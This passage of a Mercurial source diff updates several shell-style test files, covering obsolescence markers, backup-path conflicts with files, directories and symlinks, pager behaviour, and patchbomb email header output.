   >   hidden1 = repoview.computehidden(repo)
   >   hidden = repoview.filterrevs(repo, 'visible')
   >   if sorted(hidden1) != sorted(hidden):
-  >     print "cache inconsistency"
+  >     print("cache inconsistency")
   >  bkmstoreinst._repo.currenttransaction().addpostclose('test_extension', trhook)
   >  orig(bkmstoreinst, *args, **kwargs)
   > def extsetup(ui):
@@ -1234,7 +1283,7 @@
   $ hg commit --amend -m "message"
   $ hg book bookb -r 13bedc178fce --hidden
   $ hg log -r 13bedc178fce
-  5:13bedc178fce (draft *obsolete*) [ bookb] add b
+  4:13bedc178fce (draft *obsolete*) [ bookb] add b [rewritten using amend as 5:a9b1f8652753]
   $ hg book -d bookb
   $ hg log -r 13bedc178fce
   abort: hidden revision '13bedc178fce'!
@@ -1263,20 +1312,18 @@
   $ hg ci -m '2'
 
   $ echo bar > f2
-  $ hg commit --amend --config experimetnal.evolution=createmarkers
+  $ hg commit --amend --config experimental.evolution.createmarkers=True
   $ hg log -G
-  @  4:b0551702f918 (draft) [tip ] 2
+  @  3:b0551702f918 (draft) [tip ] 2
   |
   o  1:e016b03fd86f (draft) [ ] 1
   |
   o  0:a78f55e5508c (draft) [ ] 0
   
   $ hg log -G --hidden
-  @  4:b0551702f918 (draft) [tip ] 2
+  @  3:b0551702f918 (draft) [tip ] 2
   |
-  | x  3:f27abbcc1f77 (draft *obsolete*) [ ] temporary amend commit for e008cf283490
-  | |
-  | x  2:e008cf283490 (draft *obsolete*) [ ] 2
+  | x  2:e008cf283490 (draft *obsolete*) [ ] 2 [rewritten using amend as 3:b0551702f918]
   |/
   o  1:e016b03fd86f (draft) [ ] 1
   |
@@ -1284,10 +1331,9 @@
   
 
   $ hg strip --hidden -r 2 --config extensions.strip= --config devel.strip-obsmarkers=no
-  saved backup bundle to $TESTTMP/tmpe/issue4845/.hg/strip-backup/e008cf283490-39c978dc-backup.hg (glob)
+  saved backup bundle to $TESTTMP/tmpe/issue4845/.hg/strip-backup/e008cf283490-ede36964-backup.hg (glob)
   $ hg debugobsolete
-  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (*) {'user': 'test'} (glob)
-  f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (*) {'user': 'test'} (glob)
+  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg log -G
   @  2:b0551702f918 (draft) [tip ] 2
   |
@@ -1303,23 +1349,18 @@
   o  0:a78f55e5508c (draft) [ ] 0
   
   $ hg debugbundle .hg/strip-backup/e008cf283490-*-backup.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       e008cf2834908e5d6b0f792a9d4b0e2272260fb8
-      f27abbcc1f77fb409cf9160482fe619541e2d605
-  obsmarkers -- 'sortdict()'
-      version: 1 (70 bytes)
-      f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  phase-heads -- 'sortdict()'
-      f27abbcc1f77fb409cf9160482fe619541e2d605 draft
+  phase-heads -- {}
+      e008cf2834908e5d6b0f792a9d4b0e2272260fb8 draft
 
   $ hg pull .hg/strip-backup/e008cf283490-*-backup.hg
-  pulling from .hg/strip-backup/e008cf283490-39c978dc-backup.hg
+  pulling from .hg/strip-backup/e008cf283490-ede36964-backup.hg
   searching for changes
   no changes found
   $ hg debugobsolete
-  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (*) {'user': 'test'} (glob)
-  f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (*) {'user': 'test'} (glob)
+  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg log -G
   @  2:b0551702f918 (draft) [tip ] 2
   |
@@ -1348,15 +1389,14 @@
   @  0:a78f55e5508c (draft) [tip ] 0
   
   $ hg debugbundle .hg/strip-backup/e016b03fd86f-*-backup.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 2, version: 02}
       e016b03fd86fcccc54817d120b90b751aaf367d6
       b0551702f918510f01ae838ab03a463054c67b46
-  obsmarkers -- 'sortdict()'
-      version: 1 (139 bytes)
-      e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-      f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  phase-heads -- 'sortdict()'
+  obsmarkers -- {}
+      version: 1 (86 bytes)
+      e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  phase-heads -- {}
       b0551702f918510f01ae838ab03a463054c67b46 draft
 
   $ hg unbundle .hg/strip-backup/e016b03fd86f-*-backup.hg
@@ -1364,11 +1404,11 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
-  2 new obsolescence markers
+  1 new obsolescence markers
+  new changesets e016b03fd86f:b0551702f918
   (run 'hg update' to get a working copy)
   $ hg debugobsolete | sort
-  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (*) {'user': 'test'} (glob)
-  f27abbcc1f77fb409cf9160482fe619541e2d605 0 {e008cf2834908e5d6b0f792a9d4b0e2272260fb8} (*) {'user': 'test'} (glob)
+  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg log -G
   o  2:b0551702f918 (draft) [tip ] 2
   |
@@ -1404,7 +1444,7 @@
   adding d
   $ hg ci --amend -m dd --config experimental.evolution.track-operation=1
   $ hg debugobsolete --index --rev "3+7"
-  1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 \(.*\) {'user': 'test'} (re)
+  1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   3 4715cf767440ed891755448016c2b8cf70760c30 7ae79c5d60f049c7b0dd02f5f25b9d60aaf7b36d 0 \(.*\) {'operation': 'amend', 'user': 'test'} (re)
   $ hg debugobsolete --index --rev "3+7" -Tjson
   [
@@ -1412,8 +1452,8 @@
     "date": [0.0, 0],
     "flag": 0,
     "index": 1,
-    "metadata": {"user": "test"},
-    "precnode": "6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1",
+    "metadata": {"operation": "amend", "user": "test"},
+    "prednode": "6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1",
     "succnodes": ["d27fb9b066076fd921277a4b9e8b9cb48c95bc6a"]
    },
    {
@@ -1421,22 +1461,22 @@
     "flag": 0,
     "index": 3,
     "metadata": {"operation": "amend", "user": "test"},
-    "precnode": "4715cf767440ed891755448016c2b8cf70760c30",
+    "prednode": "4715cf767440ed891755448016c2b8cf70760c30",
     "succnodes": ["7ae79c5d60f049c7b0dd02f5f25b9d60aaf7b36d"]
    }
   ]
 
 Test the --delete option of debugobsolete command
   $ hg debugobsolete --index
-  0 cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b f9bd49731b0b175e42992a3c8fa6c678b2bc11f1 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  2 1ab51af8f9b41ef8c7f6f3312d4706d870b1fb74 29346082e4a9e27042b62d2da0e2de211c027621 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  0 cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b f9bd49731b0b175e42992a3c8fa6c678b2bc11f1 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  2 1ab51af8f9b41ef8c7f6f3312d4706d870b1fb74 29346082e4a9e27042b62d2da0e2de211c027621 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   3 4715cf767440ed891755448016c2b8cf70760c30 7ae79c5d60f049c7b0dd02f5f25b9d60aaf7b36d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg debugobsolete --delete 1 --delete 3
   deleted 2 obsolescence markers
   $ hg debugobsolete
-  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b f9bd49731b0b175e42992a3c8fa6c678b2bc11f1 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  1ab51af8f9b41ef8c7f6f3312d4706d870b1fb74 29346082e4a9e27042b62d2da0e2de211c027621 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b f9bd49731b0b175e42992a3c8fa6c678b2bc11f1 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  1ab51af8f9b41ef8c7f6f3312d4706d870b1fb74 29346082e4a9e27042b62d2da0e2de211c027621 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
 
 Test adding changeset after obsmarkers affecting it
 (eg: during pull, or unbundle)
diff --git a/tests/test-origbackup-conflict.t b/tests/test-origbackup-conflict.t
new file mode 100644
--- /dev/null
+++ b/tests/test-origbackup-conflict.t
@@ -0,0 +1,125 @@
+Set up repo
+
+  $ cat << EOF >> $HGRCPATH
+  > [ui]
+  > origbackuppath=.hg/origbackups
+  > [merge]
+  > checkunknown=warn
+  > EOF
+  $ hg init repo
+  $ cd repo
+  $ echo base > base
+  $ hg add base
+  $ hg commit -m "base"
+
+Make a dir named b that contains a file
+
+  $ mkdir -p b
+  $ echo c1 > b/c
+  $ hg add b/c
+  $ hg commit -m "c1"
+  $ hg bookmark c1
+
+Peform an update that causes b/c to be backed up
+
+  $ hg up -q 0
+  $ mkdir -p b
+  $ echo c2 > b/c
+  $ hg up --verbose c1
+  resolving manifests
+  b/c: replacing untracked file
+  getting b/c
+  creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark c1)
+  $ test -f .hg/origbackups/b/c
+
+Make a file named b
+
+  $ hg up -q 0
+  $ echo b1 > b
+  $ hg add b
+  $ hg commit -m b1
+  created new head
+  $ hg bookmark b1
+
+Perform an update that causes b to be backed up - it should replace the backup b dir
+
+  $ hg up -q 0
+  $ echo b2 > b
+  $ hg up --verbose b1
+  resolving manifests
+  b: replacing untracked file
+  getting b
+  removing conflicting directory: $TESTTMP/repo/.hg/origbackups/b (glob)
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark b1)
+  $ test -f .hg/origbackups/b
+
+Perform an update the causes b/c to be backed up again - it should replace the backup b file
+
+  $ hg up -q 0
+  $ mkdir b
+  $ echo c3 > b/c
+  $ hg up --verbose c1
+  resolving manifests
+  b/c: replacing untracked file
+  getting b/c
+  creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
+  removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark c1)
+  $ test -d .hg/origbackups/b
+
+Cause a symlink to be backed up that points to a valid location from the backup dir
+
+  $ hg up -q 0
+  $ mkdir ../sym-link-target
+#if symlink
+  $ ln -s ../../../sym-link-target b
+#else
+  $ touch b
+#endif
+  $ hg up b1
+  b: replacing untracked file
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark b1)
+#if symlink
+  $ readlink.py .hg/origbackups/b
+  .hg/origbackups/b -> ../../../sym-link-target
+#endif
+
+Perform an update that causes b/c to be backed up again - it should not go into the target dir
+
+  $ hg up -q 0
+  $ mkdir b
+  $ echo c4 > b/c
+  $ hg up --verbose c1
+  resolving manifests
+  b/c: replacing untracked file
+  getting b/c
+  creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
+  removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark c1)
+  $ cat .hg/origbackups/b/c
+  c4
+  $ ls ../sym-link-target
+
+Incorrectly configure origbackuppath to be under a file
+
+  $ echo data > .hg/badorigbackups
+  $ hg up -q 0
+  $ mkdir b
+  $ echo c5 > b/c
+  $ hg up --verbose c1 --config ui.origbackuppath=.hg/badorigbackups
+  resolving manifests
+  b/c: replacing untracked file
+  getting b/c
+  creating directory: $TESTTMP/repo/.hg/badorigbackups/b (glob)
+  abort: The system cannot find the path specified: '$TESTTMP/repo/.hg/badorigbackups/b' (glob) (windows !)
+  abort: Not a directory: '$TESTTMP/repo/.hg/badorigbackups/b' (no-windows !)
+  [255]
+  $ cat .hg/badorigbackups
+  data
+
diff --git a/tests/test-pager.t b/tests/test-pager.t
--- a/tests/test-pager.t
+++ b/tests/test-pager.t
@@ -195,6 +195,7 @@
   paged! 'summary:     modify a 8\n'
   paged! '\n'
 
+#if no-chg
 An invalid pager command name is reported sensibly if we don't have to
 use shell=True in the subprocess call:
   $ hg log --limit 3 --config pager.pager=this-command-better-never-exist
@@ -215,6 +216,7 @@
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     modify a 8
   
+#endif
 
 A complicated pager command gets worse behavior. Bonus points if you can
 improve this.
@@ -340,9 +342,25 @@
    9: a 9
   10: a 10
 
+During pushbuffer, pager should not start:
+  $ cat > $TESTTMP/pushbufferpager.py <<EOF
+  > def uisetup(ui):
+  >     ui.pushbuffer()
+  >     ui.pager('mycmd')
+  >     ui.write('content\n')
+  >     ui.write(ui.popbuffer())
+  > EOF
+
+  $ echo append >> a
+  $ hg --config extensions.pushbuffer=$TESTTMP/pushbufferpager.py status --color=off
+  content
+  paged! 'M a\n'
+
 Environment variables like LESS and LV are set automatically:
   $ cat > $TESTTMP/printlesslv.py <<EOF
-  > import os, sys
+  > from __future__ import absolute_import
+  > import os
+  > import sys
   > sys.stdin.read()
   > for name in ['LESS', 'LV']:
   >     sys.stdout.write(('%s=%s\n') % (name, os.environ.get(name, '-')))
diff --git a/tests/test-patch.t b/tests/test-patch.t
--- a/tests/test-patch.t
+++ b/tests/test-patch.t
@@ -1,8 +1,9 @@
   $ cat > patchtool.py <<EOF
+  > from __future__ import absolute_import, print_function
   > import sys
-  > print 'Using custom patch'
+  > print('Using custom patch')
   > if '--binary' in sys.argv:
-  >     print '--binary found !'
+  >     print('--binary found !')
   > EOF
 
   $ echo "[ui]" >> $HGRCPATH
@@ -31,6 +32,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 8580ff50825a
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -67,6 +69,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 7fadb901d403
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd d
diff --git a/tests/test-patchbomb-bookmark.t b/tests/test-patchbomb-bookmark.t
--- a/tests/test-patchbomb-bookmark.t
+++ b/tests/test-patchbomb-bookmark.t
@@ -31,8 +31,8 @@
   Cc: 
   
   displaying [PATCH 0 of 2] bookmark ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] bookmark
   Message-Id: <patchbomb.347155260@*> (glob)
@@ -43,8 +43,8 @@
   
   
   displaying [PATCH 1 of 2] first ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] first
   X-Mercurial-Node: accde9b8b6dce861c185d0825c1affc09a79cb26
@@ -74,8 +74,8 @@
   +first
   
   displaying [PATCH 2 of 2] second ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] second
   X-Mercurial-Node: 417defd1559c396ba06a44dce8dc1c2d2d653f3f
@@ -138,8 +138,8 @@
   Cc: 
   
   displaying [PATCH] bookmark ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] bookmark
   X-Mercurial-Node: 8dab2639fd35f1e337ad866c372a5c44f1064e3c
diff --git a/tests/test-patchbomb.t b/tests/test-patchbomb.t
--- a/tests/test-patchbomb.t
+++ b/tests/test-patchbomb.t
@@ -9,18 +9,19 @@
 --===+[0-9]+=+$ -> --===*= (glob)
 
   $ cat > prune-blank-after-boundary.py <<EOF
+  > from __future__ import absolute_import, print_function
   > import sys
   > skipblank = False
   > trim = lambda x: x.strip(' \r\n')
   > for l in sys.stdin:
   >     if trim(l).endswith('=--') or trim(l).endswith('=='):
   >         skipblank = True
-  >         print l,
+  >         print(l, end='')
   >         continue
   >     if not trim(l) and skipblank:
   >         continue
   >     skipblank = False
-  >     print l,
+  >     print(l, end='')
   > EOF
   $ FILTERBOUNDARY="$PYTHON `pwd`/prune-blank-after-boundary.py"
   $ echo "[format]" >> $HGRCPATH
@@ -39,8 +40,8 @@
   
   
   displaying [PATCH] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -69,6 +70,45 @@
   +a
   
 
+If --to is specified on the command line, it should override any
+email.to config setting. Same for --cc:
+
+  $ hg email --date '1970-1-1 0:1' -n -f quux --to foo --cc bar -r tip \
+  >   --config email.to=bob@example.com --config email.cc=alice@example.com
+  this patch series consists of 1 patches.
+  
+  
+  displaying [PATCH] a ...
+  MIME-Version: 1.0
+  Content-Type: text/plain; charset="us-ascii"
+  Content-Transfer-Encoding: 7bit
+  Subject: [PATCH] a
+  X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
+  X-Mercurial-Series-Index: 1
+  X-Mercurial-Series-Total: 1
+  Message-Id: <*@*> (glob)
+  X-Mercurial-Series-Id: <*@*> (glob)
+  User-Agent: Mercurial-patchbomb/* (glob)
+  Date: Thu, 01 Jan 1970 00:01:00 +0000
+  From: quux
+  To: foo
+  Cc: bar
+  
+  # HG changeset patch
+  # User test
+  # Date 1 0
+  #      Thu Jan 01 00:00:01 1970 +0000
+  # Node ID 8580ff50825a50c8f716709acdf8de0deddcd6ab
+  # Parent  0000000000000000000000000000000000000000
+  a
+  
+  diff -r 000000000000 -r 8580ff50825a a
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/a	Thu Jan 01 00:00:01 1970 +0000
+  @@ -0,0 +1,1 @@
+  +a
+  
+
   $ hg --config ui.interactive=1 email --confirm -n -f quux -t foo -c bar -r tip<<EOF
   > n
   > EOF
@@ -114,8 +154,8 @@
   
   
   displaying [PATCH] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -152,8 +192,8 @@
   
   
   displaying [PATCH] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -194,8 +234,8 @@
   
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.120@*> (glob)
@@ -207,8 +247,8 @@
   
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -239,8 +279,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -283,7 +323,8 @@
   $ hg email -m test.mbox -f quux -t foo -c bar -s test 0:tip \
   > --config extensions.progress= --config progress.assume-tty=1 \
   > --config progress.delay=0 --config progress.refresh=0 \
-  > --config progress.width=60
+  > --config progress.width=60 \
+  > --config extensions.mocktime=$TESTDIR/mocktime.py
   this patch series consists of 2 patches.
   
   
@@ -293,10 +334,10 @@
   sending [                                             ] 0/3\r (no-eol) (esc)
                                                               \r (no-eol) (esc)
   \r (no-eol) (esc)
-  sending [==============>                              ] 1/3\r (no-eol) (esc)
+  sending [============>                            ] 1/3 01s\r (no-eol) (esc)
                                                               \r (no-eol) (esc)
   \r (no-eol) (esc)
-  sending [=============================>               ] 2/3\r (no-eol) (esc)
+  sending [==========================>              ] 2/3 01s\r (no-eol) (esc)
                                                               \r (esc)
   sending [PATCH 0 of 2] test ...
   sending [PATCH 1 of 2] a ...
@@ -335,8 +376,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   a multiline
@@ -380,8 +421,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   a multiline
@@ -413,8 +454,8 @@
   
   
   displaying [PATCH] utf-8 content ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 8bit
   Subject: [PATCH] utf-8 content
   X-Mercurial-Node: 909a00e13e9d78b575aeee23dddbada46d5a143f
@@ -459,8 +500,8 @@
 
   $ cat mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="utf-8"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: base64
   Subject: [PATCH] utf-8 content
   X-Mercurial-Node: 909a00e13e9d78b575aeee23dddbada46d5a143f
@@ -521,8 +562,8 @@
   
   
   displaying [PATCH] long line ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Subject: [PATCH] long line
   X-Mercurial-Node: a2ea8fc83dd8b93cfd86ac97b28287204ab806e1
@@ -575,8 +616,8 @@
   sending [PATCH] long line ...
   $ cat mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Subject: [PATCH] long line
   X-Mercurial-Node: a2ea8fc83dd8b93cfd86ac97b28287204ab806e1
@@ -637,8 +678,8 @@
   sending [PATCH] isolatin 8-bit encoding ...
   $ cat mbox
   From quux ... ... .. ..:..:.. .... (re)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="iso-8859-1"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Subject: [PATCH] isolatin 8-bit encoding
   X-Mercurial-Node: 240fb913fc1b7ff15ddb9f33e73d82bf5277c720
@@ -685,8 +726,8 @@
   are you sure you want to send (yn)? y
   
   displaying [PATCH] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH] test
   X-Mercurial-Node: ff2c9fa2018b15fa74b33363bda9527323e2a99f
@@ -747,8 +788,8 @@
   are you sure you want to send (yn)? y
   
   displaying [PATCH 0 of 2] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 2] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -764,8 +805,8 @@
    2 files changed, 2 insertions(+), 0 deletions(-)
   
   displaying [PATCH 1 of 2] a ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 1 of 2] a
   X-Mercurial-Node: 8580ff50825a50c8f716709acdf8de0deddcd6ab
@@ -800,8 +841,8 @@
   +a
   
   displaying [PATCH 2 of 2] b ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 2 of 2] b
   X-Mercurial-Node: 97d72e5f12c7e84f85064aa72e5a297142c36ed9
@@ -857,8 +898,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=t2.patch
   
@@ -900,8 +941,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Content-Disposition: inline; filename=t2.patch
   
@@ -947,8 +988,8 @@
   
   
   displaying [PATCH 0 of 3] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Subject: [PATCH 0 of 3] test
   Message-Id: <patchbomb.60@*> (glob)
@@ -977,8 +1018,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=t2-1.patch
   
@@ -1015,8 +1056,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: inline; filename=t2-2.patch
   
@@ -1053,8 +1094,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Content-Disposition: inline; filename=t2-3.patch
   
@@ -1111,8 +1152,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1120,8 +1161,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: attachment; filename=t2.patch
   
@@ -1162,8 +1203,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   Patch subject is complete summary.
@@ -1171,8 +1212,8 @@
   
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: quoted-printable
   Content-Disposition: attachment; filename=t2.patch
   
@@ -1229,8 +1270,8 @@
   Cc: bar
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   
   # HG changeset patch
@@ -1248,8 +1289,8 @@
   +c
   
   --===*= (glob)
+  MIME-Version: 1.0
   Content-Type: text/x-patch; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Content-Disposition: attachment; filename=t2.patch
   
@@ -1279,8 +1320,8 @@
   
   
   displaying [PATCH 0 of 3] test ...
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
